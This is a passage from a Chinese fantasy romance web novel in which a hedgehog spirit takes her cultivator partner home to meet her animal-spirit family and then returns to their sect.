小松鼠放下爪子,言归正题:“这两天你们都好早啊。” 云榆:“你今天也很早。” 看小松鼠行进路线,应该是去找她的,谁知,小松鼠下一秒道:“我昨晚和土拨鼠约着去存点别的食物,她先去了,我得赶紧跟上。” 云榆了然,不是来找她们的。她还没与这位新来的土拨鼠见过面:“我和师姐同你一起吧。” 小松鼠摆摆爪子:“你和裴裴太小了,而且还要钻洞,脏脏的,你带裴裴去附近玩玩,我回来就去找你们。” 云榆只好应下“好”。 目送小松鼠越走越远,云榆长呼一口气,看样子,松松姐与土拨鼠建立了不错的关系,她走后,不用过于担心松松姐会孤独了。 裴依宁看出她的所想,引走话题:“要带我去附近看看吗?” 云榆笑:“当然,师姐与我就保持这样的大小身形。” 这个身形与刺猬形大小差不多,可以更好的带师姐领略到她幼时能看见的风景。 跟着记忆中的路线,云榆拽着两侧的草叶,带着师姐爬上一处较高的田埂,一眼望去,是没有尽头的枯黄色与泥土色。 云榆边走边说:“两侧会被这里的妖们种上些农作物。部分是前年留下来的,另一部分则是从人族的集市上买的种子。” 云榆回忆着过往的事情,眼底溢满怀念:“那时候会变成人形的小妖不多,起初是姐姐去人族买,姐姐走后,就是我去买。再之后,就是东头的那几只小妖。” 她指了指田埂边边一条溪流。 约莫也就只有她们两只小人形的宽度,里面蓄着一层浅浅的水:“这条小流是从后面的那些河流中引导出来的,别看这里河流众多,但我们妖族种植的地方一般会离河流有些远,只能从地下或者挖出一条小沟渠引水进来。” 她边走边说,生怕裴依宁听不懂,小妖讲解地很细致。 但这方田埂能种植的地方并不算多,听着松松和小妖的话,这片住的妖族不算少,只靠一条田埂边,能喂饱这么多妖吗? 而且,在云榆的姐姐无法化成人形时,她们说得又是什么。 裴依宁从小妖的话中,拼凑出大概的可能。 在无妖可以化作人形的时候,小妖们会去偷偷地偷食人族的食物,这也是云榆为何会那么熟稔地进入膳食堂。 而化形后,小妖们开始尝试自力更生。 裴依宁问:“一开始你们是如何在人族那买东西的?” 修士用灵石,普通人选用银钱,这两样,这里的小妖都很难有吧。 云榆说:“人族的药房会收购各种药材,我们这些妖会去采集。但我们不知道哪些是人族要的,哪些是人族不要的。就会一股脑的全部摘过去。” 她无意识地松开裴依宁的手,摘下面前的一棵草:“就比如这样的。” 但大量的无用之物被堆积到人族的药房前,人族多是不喜的。他们经常是从一大堆花草中挑出几件能用的,然后仗着小妖们不懂这些,随意给几枚铜板打发了。 那时的云樾持不了多久的人形,无暇与药房的人争辩,只能收下。 有几次小刺猬会躲在姐姐的衣袖中,跟着姐姐去集市售卖这些,几乎每一次,那些收药的人都会如此。 后来,小妖们开始根据药房收去的药草采摘,可依旧换不到太多铜板。 积少成多,数次后,小妖们终于买到了第一袋种子,将其种下,却因不会打理,收成很差。 一只只小妖垂头丧气地坐在枯萎的稻子边。 意味着这个冬天,它们又要忍饥挨饿了。 云樾却总会温柔地安慰它们这群小妖,说会有别的办法的。 而那年冬天,云樾的确不知从哪里弄到了很多粮食,足够这片地界的小妖们安安稳稳地过完这个冬天的粮食。 再后来的几年,皆是如此,它们终于不用过忍饥挨饿的日子了。 裴依宁听得心中抽疼地厉害,怪不得小刺猬起初不愿在宗门人前露出本体,怪不得小妖那么珍惜粮食。 云榆还在继续说:“后来持续了几年这样的生活,在这期间,我们终于学会了该如何种植粮食和蔬果,而也在那段时间,姐姐突然出了远门,便再也没有回来过。” 裴依宁微微皱起眉头,拥住云榆:“都过去了。星星会和姐姐再见面的。” 云榆眼眶漫上热意,眼眶泛起丝丝红润,她在裴依宁怀中摇摇头:“姐姐走后的第二年,这里发生了罕见的干旱,河流无水,种植的粮食和瓜果都死了。” 干旱一连持续了三年,小妖们囤积的粮食都已经吃完了,长在这片地界的药草因无水枯萎。 她们换不到一个铜板,只能做起老本行,去人族那里混口饭吃。云榆那时已经能化成人形,她去人族那帮做事。 也是那次,被人族骗到,被欺负狠了。 云榆释然一笑,骄傲地道:“不过好在,一切都过去了。我们妖们现在可以食物充足,还知道种植一些耐干旱的食物。” 她傲娇地回抱住裴依宁:“我们是厉害的小妖。” 等一切都好了,她方才放心地拜入明越宗的宗门,为日后寻找姐姐做准备。 云榆走得有些累了,她拉着裴依宁坐在田埂边,晃着两条小腿:“冬天快要到了。” 坐在这,已经能感受到阵阵寒风,小妖们都在做最后的准备了。 云榆按住后颈,转动数圈:“其实这里变化真的好大。” 休息好了,云榆继续带裴依宁往前走,无外乎是介绍这里的风景,以及每块地下面种植着什么。 期间,云榆遇见几只囤粮的小妖,那些小妖原先没认出云榆,在云榆变回刺猬形后,一个个地围上来,询问她去哪了,过得怎么样。 而裴依宁则是立在一边,安静地将空间让给久别重逢的小妖们。 直到一只豹妖注意到缩小的人形,警惕地盯上裴依宁:“这位是?” 小刺猬介绍:“这位是我宗门的师姐,也是我的道侣。” “道侣?”几只小妖面面相觑,对裴依宁的敌意瞬间归无,从正在堆运的粮食中取出几枚果子,在皮毛上用力擦擦。 又觉得这样不干净,豹妖拎起一个盒子,从河边装满水回来,让另一只小白狐将水果洗干净,递给裴依宁。 这些果子对于小版的裴依宁来说,有些拿不住。 小刺猬接过两只,递给裴依宁一只。 裴依宁:“谢谢。” 小刺猬毫无形象地大口咬下,对比一旁文文静静的裴依宁,显得过于粗鲁了。 引得小白狐不住摇头,低声和豹妖说:“好怕星星被抛弃。” 豹妖:“我也怕。” 自以为自言自语的两只妖不知道,她们的话都被某只小刺猬听得清清楚楚。吃着果子的小刺猬不着痕迹地往旁一扫。 裴依宁小口吃着果子,不时用手帕轻点唇边。 和自己相比,师姐的确文雅得过分。 小刺猬故作优雅地小口吃。 小白狐:“这样看,稍好点。” 豹妖:“多存点粮食,给星星存点。” 小刺猬:“……” 这就是她家里妖对她的看法吗?担心她时刻被丢弃。真的是太过分了。 转眼又见豹妖和小白狐妖殷勤地给裴依宁递东西,一个个妖脸上赔着笑地:“哎,星星道侣,你好啊。我们家星星平日里可乖了,若是有什么不足的地方,你尽管跟我们说。就是,我们家星星还比较小,对你可能会很依赖。” 小白狐妖隐晦地道:“你和星星一定要长久。” 千万别把我们家星星抛弃了。 都说拿人的手软,她们给星星道侣这么多吃的,怎么都不好意思主动提抛弃星星吧。 裴依宁一一应下,在小妖们强烈的要求下,不得不收下部分食物。 云榆生无可恋地抱住那枚果实,游走于一人与几只妖之外。小白狐妖瞧见她这副样子,恨铁不成钢地拉过她,去到另一边。 小白狐妖问:“你怎么把人骗到的。” 云榆咬果实:“这句话,松松姐说过一模一样的。” 小白狐妖:“她最了解你。”她话音一转,试探性地,“云樾姐她……” 云榆:“有消息了。” “那就好。” 和一群小妖们告别,云榆没好气地望向满脸笑意的女人,哼唧唧地往前快走了几步,双手怀抱,从后看,走路一甩一甩的。 裴依宁好笑地跟上去,展示抱着的一些食物:“星星,看,你家里妖给我的。” 家里妖都没有给她,坏妖们。云榆板住脸,可眼尾的笑意藏不住。 裴依宁将这些东西放入空间储物,反手握住云榆:“怎么了,星星?” 云榆“切”了声:“没有。” 裴依宁:“嗯?” 云榆:“吃吃吃,你就知道吃。” 裴依宁:“是是是,我就知道吃。所以星星是嫌弃师姐,要抛弃师姐了吗?” 云榆咬牙切齿:“明明是家妖们担心你抛弃我。可恶,本星星就这么让家妖们担心吗!” 虽是这么说,但某只小妖尾巴都要翘到天上去了。 裴依宁捏捏她气鼓鼓的脸:“她们是关心你。星星被很多人爱着。” 作者有话说: 第82章 第八十二章[VIP] 在几条田埂边转过, 小刺猬带着师姐转回到洞府附近,小松鼠还没回来,这个点回洞府过早,况且洞府内枯燥无趣, 稍有光亮, 不如躺在地上晒太阳。 小刺猬四仰八叉地摊开四肢,迎接阳光的照射。 周围的草丛窸窸窣窣响动, 数道不同的气息分散其中, 里面有之前的豹妖和小白狐妖。 裴依宁有心往那几簇草丛中看过,暂时打消了躺在小刺猬肚子上晒太阳的想法。 若是被小刺猬的那些家妖瞧见, 或许会以为她欺负小刺猬。 小刺猬同样察觉到附近同族的气息,她双爪撑起身体, 黑漆漆的眼珠子转动,抑制不住的喜悦:“又来了几位朋友。” 她本想带着师姐与家妖们见面,可有的家妖对人族抵抗情绪极深,小刺猬只好打消这个念头。 今日遇见的豹妖和小白狐妖没有表现出对人族的反感。 眼下来的另外几位朋友,是不是因为师姐在, 所以不愿意出来。喜悦削弱几分, 小刺猬慢悠悠地爬起。 一方面是家妖, 一方面是师姐, 两方对她都很重要。 她扭头, 低声对裴依宁道:“师姐, 我朋友来看我了。你在这等我会,我很快就回来。” 裴依宁点点头:“好。” 小刺猬迈开小短腿, 高速地窜进最近的一簇草丛。 圆滚滚的球一下子消失, 裴依宁收回含笑的目光,凝视远方地平线。 草丛内窸窣的声响静下, 小刺猬灵活地爬上豹妖的背上,两只小爪子合拢,齐齐向前一指,带着一众小妖去了另一处。 小刺猬要向家妖们讲述在外的经历,还要给家妖们好好介绍师姐,尤其是走在前方,威风凛凛的虎姐姐。 虎姐姐早年因为被人族设下陷阱捕捉过,对人族保持高度的敌意,不知道她走后的这些年,虎姐姐有没有转变对人族的看法。 大概率是没有。 小刺猬有些苦恼,方才小妖们不出来,大概率是因为看见坐在她身边的师姐。 豹姐姐和小白狐姐姐应该和虎姐姐说过她和师姐是道侣的事。 小刺猬贴近豹妖的耳朵,用仅有两只妖能听见的声音问:“豹姐姐,你和虎姐姐说我和师姐的事了吗?虎姐姐有没有说什么?” 前方的虎妖迈着大步,连眼神都没有分给小刺猬,小刺猬惴惴不安。 恰在此时,小白狐跳上豹妖后背,捞起半掉不掉的小刺猬,扔到豹妖的背上,俯下身,朝着虎妖扫眼:“星星,那个人族底细你是摸清楚的吧。” 小刺猬用力点点头:“师姐是个安全的人。” 虎妖停下步子,一众跟随的小妖心惊胆战地跟着止步。 小白狐妖落地,小刺猬从豹妖后背上滚下,又缩成小球地滚到虎妖的腿边,殷勤地抱住虎妖的一条腿,扬起小脑袋,亲热地喊:“虎姐姐,好久不见,星星好想你。” 一众小妖忍俊不禁。 小刺猬每每做错事,都会摆出一副委屈巴巴求原谅的模样,偏偏云樾姐和虎姐姐她们最是吃这招。 她们等虎妖的反应。 可谁知,虎妖前腿一提,将紧抱她腿的小刺猬提起,板正的脸色不带有笑意地问:“什么时候回来的。” 小刺猬缩起脑袋:“前两天。” 小刺猬呈条抛物线被丢出,在地上弹了两弹。 高度不高,虎妖又是把她往草丛中扔,几番缓冲下来,小刺猬毫发无伤,除了身上多了几片草叶。 完了,这招对虎姐姐不管用了,虎姐姐果真还是讨厌人类,小刺猬绞尽脑汁地思考解决方法。 一股压迫感袭来,虎妖已经走到她面前,居高临下地望着小刺猬,咧开牙。 本能的动物恐惧让小刺猬抱成团。 几只小妖见情况不对,挡在小刺猬身前:“星星好不容易回来,别那么严肃,有什么话好好说。” 小白狐妖边说边扭头给小刺猬使眼色。 小刺猬瘪瘪嘴,小小的身体挤出,继续哄虎妖:“虎姐姐……” “前两日就回来了,为什么不来找我们,若非今日豹和白狐提起这事,我们还不知道这件事。”虎妖直勾勾地盯着小刺猬,“出去一趟,就把我们忘了。” 其余一众小妖闻声,齐刷刷看向小刺猬。 的确如此,若非今日遇见,她们岂不是连星星回来过都不知道。 帮小刺猬说话的几只妖沉默下来。 虎妖又问:“松松知道吗?” 小刺猬脊背抖动,刺层层浮动。 虎妖懂了,冷笑:“那个人族,是你道侣?” 小刺猬:“是的,师姐是个很好的人,她与外面那些坏人不一样,虎姐姐,你们和师姐接触接触,会发现的,师姐真的很好。” 看着她这般天真的为那位人族辩解,虎妖望向与那位人族打过交道的妖身上。 小白狐妖主动跳出来:“虎姐姐,星星的道侣看上去的确不错。” 小妖说不出好的形容词,思考会,道:“应该能达到云樾姐一半好。” 虎妖“哼”声,转头就走:“那么小的人,一看就是营养不良。她和星星两只,恐怕一日饿三顿。” 小刺猬喊了两声离去的虎妖,虎妖没有理她。 从草丛中出来,垂头丧气的小刺猬在看见裴依宁的背影时,唇角扯出一抹弧度,小短腿跑着过去,轻快地喊声:“师姐,我回来了。” 小刺猬故作兴高采烈地:“家妖们都很喜欢你。” 她趴伏在地上,双爪捂住脸颊,短小的爪臂撑着整个身体,后两肢伸直,如许久前,在裴依宁面前滚落,为了维护面子,做俯卧撑般。 做完几个,小刺猬心情得以舒缓,她坐回到裴依宁身边,满脑都是虎妖头也不回离去的场景。 小白狐妖和豹妖安慰她,会去和虎妖好好说。 可小刺猬知道,虎姐姐这次是真的生气了。 很大一方面原因是她回来后,没有去对方那一趟,另一部分原因,则是她带回来一位人族。 虎妖最讨厌的人族。 小妖强打精神太过明显,裴依宁揉揉小妖的肚子:“和家妖们闹矛盾了?” 被师姐点出,小刺猬犹豫会,不再隐瞒,她化成人形,小小一只靠在裴依宁身上,喃声道:“师姐,我做错事了。” 云榆将方才事情的经过说了遍,薄唇轻抿,声音暗哑:“我让虎姐姐不高兴了。” 裴依宁听她说完,大致了解发生了什么,她护着云榆的脑袋靠在肩膀上,暖声安抚:“不会的,家妖们不会真的生星星气的。明日,师姐与你一起拜访虎妖,我们好好和虎妖说说。” 云榆吸吸鼻子,点点头。 午时,松松和土拨鼠储存完粮食,听说这件事,休息都顾不上,来回去星星和虎妖那打探情况。 再次回到云榆这,松松懊恼地拍自己:“这件事怨我,我应该提醒你的。” 云榆摇摇头:“和松松姐没有关系。我原先本就打算悄无声息地回来,等离开时,再单独与虎妖她们见一面。” 她知道部分家妖对人族的不喜,无意触及她们的霉头,等走时,她再去见其她家妖,告知自身的安全,在外面过得很好,让家妖们不必担心。 今日遇见小白狐妖和豹妖,她应该想到家妖们会来,提前做好准备的。 云榆叹息声:“我明日先去虎姐姐那看看情况,再与师姐一同去拜访虎姐姐。” 松松道:“这样也好,先看看虎姐姐气消了没,再打探打探虎姐姐对裴裴的接受度。” 小松鼠继续去虎妖那探查情况,做虎妖的工作。星星毕竟是她们看着长大的,虎妖再如何生气,都不会真的不管星星。 星星难得回来一次。 等小松鼠离开后,云榆重新倒回裴依宁身上,跟个没骨头的生物般,手臂盖在眼睛上,留出一条缝看天。 她呼出气,抓住师姐腰间束带把玩。 虎姐姐平日没什么喜欢的,不然她还能从兴趣爱好入手。 * 夕阳西下,天地间一片橘黄,两只小小的人形,也能拉出极长的影子。 影子的末端,被踩住。 与此同时,数道新的影子被拉出。 察觉到气息,云榆下意识扭头。 一众小妖们或单独一只或者三两抬着,将件件东西放在两只小人不远处。 是小妖们储存过冬的食物。 为首的是松松,豹妖和小白狐妖紧随其后,再是其她小妖。 没有虎妖的身影。 松松一爪攥着松果,另只爪攥着红薯,指挥另只小妖起火,而后将红薯扔入火中。 云榆和裴依宁对视一眼,两人起身,往小妖那去。 松松将吃剩的松果壳扔入火中,听得火苗炸裂,迸射出火花。 松松对小妖们道:“这是星星的人形,是不是没有本体好看,”不忘夸一句裴依宁,“她旁边的那位,是裴裴,星星的道侣,很厉害,能变大变小。” 介绍完,松松对茫然不知所以的云榆道:“得知你回来,家妖们来为你接风。” 小白狐妖:“虽然有点晚。但谁让你不告诉我们的,哼哼。” 豹妖又扔了几枚红薯到火中。 一众小妖们头次与裴依宁面对面。这么小的人,引得小妖们善意而好奇地打量。 裴依宁一一与小妖们打招呼,态度温和有礼。 云榆没瞧见虎妖,拉住松松问:“虎姐姐她?” 小松鼠笑容僵滞一瞬,她该怎么和星星说,虎妖直接拒绝过来。 松松道:“她睡了,我们吃我们的,先不管她。” 云榆从小松鼠那一瞬的表情猜到大概,她扯扯唇角,没必要在这个时候,让一众为她接风的家妖为难,没接着往下问。 阵阵烤糊的气味飘出,是红薯烧焦了。豹妖爪忙爪乱地将两只红薯刨出,抹去上面的火星,将快烧成碳的红薯推到云榆和裴依宁面前。 小白狐妖道:“这两个好了,你们先吃。” 小妖们将食物纷纷丢入火中,有些不能直接丢入的,小妖们另起火堆,在上面架起一只不知从哪弄来的铁锅,倒上水,将洗干净的食物放入锅中。 云榆捧着黑黢黢的红薯,剥开一些,焦炭延续内里。 云榆很习惯地咬了口,脸上登时蹭上灰黑色。 裴依宁捻起那根红薯,手指被染成灰黑色。 这红薯对于小版的她来说,过大了。 裴依宁不动声色地用灵力缩小些。 她从中间掰开红薯,里面还是半生不熟的。 裴依宁掀起眼眸,扫过在铁锅旁忙乱的小妖,里面的食物熬成了一滩黑糊糊。 似曾相识的黑糊糊。 小刺猬有次做饭,也是煮成了这样。 家妖们厨艺都差不多。 云榆吃得很快,不多时,只剩下一小截捏在手上,她扬起快成小黑猫的脸:“师姐,这东西要趁热吃,凉了就不好吃了。” 裴依宁抚上云榆的脸,勾成一方手帕擦拭黑痕。 云榆一愣,想到豹妖和小白狐妖对她吃食物姿态的评价。 形象全无。 “好吃的。”裴依宁咬下一口,“家妖们拿出这么的食物,会影响过冬吗?” 每只小妖都从家里搬了些过冬食物,看样子数量不少,她们远远吃不完。 锅内黑糊糊的食物熬煮好,小妖们又不知从哪里搜刮到的碗,先给云榆和裴依宁盛了碗。 淡淡的,烧焦的苦味混合着各种食物的气味。 为了更好的端起完,云榆和裴依宁恢复正常大小,引得一众小妖们惊奇不已。 “好厉害的能力。” “这一定很难,星星好棒。” “星星变大的人形也很好看啊,松松姐就会瞎说……” “……” “好啦好啦,”熬煮食物的豹妖惊讶过后道,“快尝尝,合不合胃口。” 裴依宁尝了口,弯唇,和小刺猬那日做的味道差不多,她又尝了口。 不对,要比小刺猬的更能入口些。 她夸道:“好吃。” 豹妖被夸得得意:“那可不,我可是这片地界厨艺最好的。当然,云樾姐除外。” 云榆一口气喝了半碗,竖起大拇指:“豹姐,你太厉害了,厨艺又上升了。” 即使胃口被裴依宁养得很好,可面对这些食物时,云榆依旧觉得美味无比。 只要比她做的好吃,那都是美味的。 她将剩下的喝完,将碗推过去,大手一挥:“我还要。” 在一边欢声笑语中,丛林中,两道泛着光的亮点逐渐逼近。 虎妖双眸中倒映着一片火光,火光前,是一众欢快的小妖和两只人形。 最先发现虎妖的是裴依宁。 她歪头,正对上虎妖冷重的视线。女人眉宇间的笑意少了些许,紧接着,她站起身,朝着虎妖而去。 云榆跟着注意到虎妖,忙跟上师姐。 一众小妖后知后觉的发现半身从草丛出来的虎妖,一个个怔怔地望过去。 顷刻间,从热闹变得冷寂。贤朱富 裴依宁来到虎妖身前两米处停下,云榆慢半拍地赶上,上前两步,横在裴依宁和虎妖之间。 云榆:“虎姐姐。” 裴依宁跟着云榆叫了声:“虎姐姐。” 她不知道虎妖的名字,这个时候,若是再叫声虎妹妹,她有理由怀疑,面前的这只白虎会一口咬上她的脖颈。 虎妖虎视眈眈地盯着裴依宁,警惕疏离的目光狠狠定格。 好半晌,在云榆焦急地准备使用过往的撒娇大法,让虎妖消气时,虎妖开口了:“人,你变大了。” 明明之前还是小小的,一爪就能踩死的大小。 虎妖:“星星,人形有人样。” 云榆:“……” 人形没有人样,那还叫人形吗。云榆在心底默默道。 但这个时候,更多的是让虎妖消气:“虎姐姐,我们那边做了些吃的,你也一起来嘛,星星好久没和虎姐姐吃饭了,想和虎姐姐一起吃。” 裴依宁余光瞥了眼在虎妖面前这般自然的小妖。 虎妖冷哼:“回来都不说,可没看出你想和我同吃。” 云榆继续:“没有的事,最想和虎姐姐吃了。” 虎妖懒得搭理她,头颅一甩,转身。 云榆以为她又要走:“别走啊……” 虎妖转回身,口中叼着块巨大的肉,往火堆边上走。 一众小妖欢呼着去接虎妖,云榆喜笑颜开地追过去。 虎妖这是不生气了。 擦身而过之际,凭借着丹修天生灵敏的嗅觉和洞察力,她一眼望向虎妖的后腿。 隐隐发颤。 那块肉上血痕未干,是虎妖不久前捕食的。 她灵识扩散,一直蔓延到这片小妖们地界的边缘,顿了顿,再度往前,地界的数里外,打斗留下的血腥气尤在。 裴依宁神经一跳,收回灵识。 虎妖将那块巨肉扔给豹妖处理,她懒洋洋地趴在火堆前,火焰烤的半张虎脸暖亮:“洗干净,给星星好好补补,豆大点的小人。” 云榆难得反应快了起来,她当时和虎姐姐见面的时候,是本体,而且现在,她也是正常人的大小。 只有师姐在虎姐姐初次来时,才是豆大点的小人。 刀子嘴豆腐心的虎姐姐。 云榆心中泛起一层暖意,她靠在虎姐姐身上:“好了叫我,”她对着裴依宁招招手,“师姐,你也过来靠会,虎姐姐身上可暖和了。” 虎妖:“……” 倒是没拒绝。 看过全程的松松和小白狐妖躲在一边偷乐。 裴依宁:“可以吗,虎姐姐?” 虎妖:“哦。” 云榆咬唇憋笑。 裴依宁靠过去,不着痕迹地握住虎妖那只后腿,温和的灵力注入虎妖体内。 虎妖原本闭合的眼睛猛地睁开,片刻后,复又闭上。 裴依宁凭空取出一小盒,趁着云榆与周围小妖说话的功夫,将药膏摸到伤口处。 强大的药效下,伤口以肉眼可见的速度愈合。 “师姐,”迟迟没听见师姐的声音,对方也没有很贴近她,云榆疑惑地回头,视线有一刹那落在虎妖受伤的腿上,那条腿已经恢复如初,“你在干嘛?” 裴依宁贴过去,笑笑:“没事。” 肉洗净烤好,豹妖切下两块分别递给云榆和裴依宁,打趣虎妖:“虎虎,你这是把洞里肉质最好的一块拿来了吧。” 虎妖:“最差的一块。” 小妖们笑成一团,三三两两一起吃吃喝喝。 快到尾声,吃饱喝足的小妖们倒成块,聊天声弱了点。 虎妖吃得不多,半眯着眼:“走时,要跟我说。” 云榆:“好,会的。” 天色渐晚,剩余的许多没有动的食物被小妖们抱到两只人前,松松踩在豹妖的后背,掐着腰,气昂昂地道:“这些都是给你们的,路上别饿着了。” 豹妖:“松松说,你们有神奇的东西可以装下这些,我们没什么给的,你们带着吃。” 小白狐妖:“我们现在种植能力越来越好了,这些都超好吃。” 虎妖:“嗯。” 在小妖眼中,食物一直是最重要的,现在,她们将最重要的东西拿来送给最重要的朋友。 云榆酸涩的要说不出来,忍着鼻尖的酸意,当着小妖们的面,一纷纷地收入空间储物中:“嘿嘿,都是我的了。下次回来,你们还要给我准备!” 虎妖看了眼裴依宁,往另一处去。裴依宁跟去,云榆注意到了,收纳的动作顿住,终究是没过去。 她相信虎妖不会为难师姐,也相信师姐不会因虎妖的行为生气。 像是散步般,一人一妖没走多远,以免引得其她小妖惊慌乱猜。 裴依宁试探地:“虎虎?” 虎妖“嗯”了下:“人。”她慢悠悠地走,“谢谢你。” 裴依宁:“不用客气,你是星星家妖,我们不必这么客套。” 虎妖沉默片刻:“我讨厌人,但不讨厌你。” “星星在我们这地位很高的,”她遥遥地望过去,云榆正乐呵呵地收食物,如松松所言,食物凭空消失,真的很神奇:“云樾姐是我们的救命恩妖,那几年若不是她,我们都会饿死。” 她是食肉生物,当年附近野兽不多,她能捕捉到的食物有限,加之还有别的肉食生物,导致食物获取难度更高。 普通粮食都难弄到的那些年,云樾为各类妖奔走,弄到了许多粮食和新鲜的肉食分给她们。 这也是为何,这片地界的妖,对云榆那般和善关切。 一方面是云榆本身,另一方面,是因为云樾。 虎妖:“星星虽仍旧保持天真的本性,但现在能让她这么信任的不多。她带你回来,说明你是好人。在外面,请你多多照顾她。” 裴依宁和虎妖回去时,云榆观察一人一妖的神色,并无异样。 她扶住额头,无奈地:“师姐,食物太多了,我空间储物满了。” 裴依宁将剩下的东西装好。 云榆与一众小妖们挥手再见,送走后,她问:“虎姐姐和你说了什么?” 裴依宁:“她说你是榆木,让我好好教你。” 云榆:“……” 作者有话说: 第83章 第八十三章[VIP]显逐富 冬季的第一场雪落下, 这片地界被装点成白茫茫的色调,居住在此的小妖们窝缩在家中,等待春日降临。 云榆同裴依宁去向家妖们告别,在与虎妖告别后, 云榆背着小松鼠给她准备的小包袱, 和裴依宁踏上了回宗门的路程。 从地界出来后,云榆的情绪不怎么高涨, 在前方御剑飞行, 有几次方向偏移,被裴依宁拉正回去。 她这样的情况, 属实不好再御剑,裴依宁环住她的腰身, 与她调换位置。高空的冷风被支起的护身灵力挡去。 云榆木然地将额头搭在裴依宁的肩头,双臂圈住女人的腰肢,眉目闭合,整只妖松松垮垮,没点精气神。 裴依宁哄着打趣她:“怎么, 舍不得离开, 等开春了, 师姐再陪你回来住一顿时间, 好不好?” 云榆很轻地摇摇头, 肩膀上落下的雪花顷刻间化成水点, 又被蒸发干。冲出这片雪天,云榆稍稍松开些师姐, 很轻地说:“不是因为这个。” 裴依宁:“嗯?” 云榆欲言又止地咬住下唇, 半晌后,贴着女人的后背, 落寞地说:“我仔细想过,虎姐姐当时那么生气的另一原因。其实妖族也有食物链的存在,姐姐在时,妖们都维持在一个极其微妙的关系中,姐姐走后,这份关系隐隐有要打破的趋势。” “但当时我还在那,念着姐姐对她们的帮助,以及它日姐姐会不会突然回来,妖们表面仍旧平衡这这层关系。” “那夜家妖们过来,有好几个熟悉的面孔我都没有看见。我不敢问她们为什么没有来。姐姐对我说,对待妖们,要恩威并施,她们爱戴姐姐,却也怕姐姐。可我一直学不会什么是恩威并施,我只能在那三年的干旱中,用自己的努力去维系这层关系。” 云榆眉心拧着,在姐姐走后,她好几次听见别的妖对姐姐的惧怕,可在她眼中,姐姐明明是温柔和善的,耐心的陪她玩闹,教她最基础的修炼和化形。 不曾有过半点妖们言及的心狠。 她顿了顿,低声道:“我不告而回,大概是虎姐姐怕我看见妖们私下会发生什么。让我离去告别,也有部分这方面的原因。” 她当然可以不告而别,让妖们不知道她是否离去,但这是个寒冷的冬天,妖们都要过冬,鲜少外出,说与不说都不会有过多影响。 不如去和家妖们告别,毕竟:“她们对我好也是真的。” 裴依宁动容,她垂下眼眸,控制灵剑飞速在云层中化形,拖出一条长长的白色尾痕。 她习惯性地想摸摸云榆的脑袋,可反手有些不便,她掀起眼帘,两指快速勾动,在灵剑上覆上一层灵力,继而转身。 裴依宁护着云榆的双臂,对上面前人水汪汪的眼眸,腾出一只手抚上她,指腹勾在云榆的唇角,往上轻轻一提:“笑一个,星星。” 云榆:“……笨蛋裴依宁。”她扬起唇角:“笑了。” 她长舒一口气,有些事无法改变,她不可能一辈子都待在这片地界,至少平衡点还在,再如何,都不会做的太过分。 云榆投入裴依宁怀中,在裴依宁要回抱住她时,她摇身化成本体。 裴依宁伸出的手悬在半空中,拥住一团虚无的空气。 小刺猬落在女人一条手臂上,四肢收在小肚子处,随意地往上挪动几下,寻到熟悉位置,脊背上的刺如波浪般起伏一阵子。 她哼哼唧唧的尾调响起:“你御剑,我舒舒服服地趴着。” 裴依宁无可奈何,认命地应下。 回归本体的小刺猬恢复成乐乐呵呵的模样,时不时爪子一挥,指挥裴依宁前进的方向,即使有几次方向指挥出错,被裴依宁纠正,某只小刺猬依旧不思悔改地继续指挥。 终于,在最后一次错误指挥中,裴依宁选择听从小刺猬所指方向,在原地扔了张符纸后,调转剑头而去。 在经历长达两柱香的飞行后,小刺猬发现四下的环境与来时截然不同,她疑惑地扒住裴依宁的衣衫,探出大半个身体往前。 小刺猬夹眉:“师姐,我们是不是走错了?” 裴依宁一本正经:“这是根据星星所指方向行进的,错没错,不应该是星星的问题吗?” 小刺猬听出女人的弦外之音,她就知道师姐不像表面上那般清风霁月,底子里完全是黑色的。 自诩底子是纯白的小刺猬说不过师姐,她默默收回身体,慵懒地趴在,尾调挑着疲倦,浑然不觉地:“没关系,走错就走错吧。大不了晚一点回去,我先休息会,师姐专心御剑。” 裴依宁笑笑,转回剑头,捏碎那端的符纸。前方的空间出现混乱,剑体穿行而过。 空间的另一端是两柱香前,扔下符纸的位置。 小刺猬看得清楚,小爪子握拳,恨不得捶师姐一下。 不多时,剑体缓缓降下,降落在宗门前,小刺猬哼哼唧唧地从裴依宁肩上滚下,小爪子优雅地拍拍肚子,高举爪臂,化回人形。 云榆鞋背一使用,灵剑弹起,被她接住,拿着挽了个漂亮的剑花后,收入灵海内:“我真花里胡哨。” 某只小妖主动吐槽。 裴依宁长腿迈开,经过守在宗门的几位同门。 同门举着的探查之物在两人身上转过,待到确定后,放两人入了宗门。 灵丹堂在剑法阁前面,到达剑法阁后,云榆放缓脚步,踢着一颗石子往前走,慢悠悠地问:“师姐,我回去了。” 裴依宁:“我送你回去。” 多远的路,还要送她回去,她又不是说,会在宗门内丢失。 心里想的和嘴上说得不一样,某只小妖口是心非:“麻烦师姐了。” 回宗后,某只小妖变得客客气气的,裴依宁不由得多看了两眼云榆,笑得温和:“不麻烦。” 她抬手去牵云榆,却被后者毫不犹豫地躲开。云榆握拳抵在唇边,干咳两声:“这里是宗门,太亲近了影响不好。” 裴依宁:““好。” 在回到云榆洞府的途中,遇见十数位剑法阁的同门,在一声声“裴师姐”“云师妹”的声音中,两人一前一后进入到云榆的洞府。 裴依宁反手关了门,抬手:“现在可以牵了吗?” 云榆扭捏着露出两根手指,搭到裴依宁掌心,但她并不老实,指尖轻缓地描摹女人的纹路。 细密酥痒随着云榆流转的地方传出,裴依宁半眯起眼睛,靠着石门,好以整暇地想看看小妖要做些什么。 云榆总能带给她想象不到的惊喜。 那两根手指游走到她的手腕,停顿两秒,钻入女人的衣袖中,顺着细腻的肌肤往上攀岩。 但很快,长指被衣衫阻拦,再上不去分毫。 云榆慢慢悠悠地从女人的小臂内侧来到女人的小臂外侧,顶着那张纯真懵懂的眼睛,一瞬不瞬地盯着裴依宁的眼睛。 女人不确定小妖是不是在引诱自己。 她属实感觉不到,只有阵阵的痒意跟随着被挑起。 云榆扇动睫毛,投射下的浅淡的影子随之游移:“师姐?” 裴依宁:“嗯?” 云榆将手指从衣衫内抽出,滑落回裴依宁的掌心,握住,而后五指张开,十指相扣。 云榆苦恼地问:“师姐,你为什么不亲我?” 裴依宁:“嗯?” 云榆不知道该如何形容,她所学不深:“就是我那样碰你,你不想亲我吗?” 裴依宁轻笑,有些跟不上小妖的脑回路。所以,小妖方才的举动,的确是在引诱她。 极为低劣的引诱,却是小妖迈出的一大步。 云榆叹息,稍有认可别人给她起的外号了。 她眸色亮亮地,直白道:“师姐,我想亲你。”说完后开始害羞,她含着下唇一点,弱了调,“可以吗?” 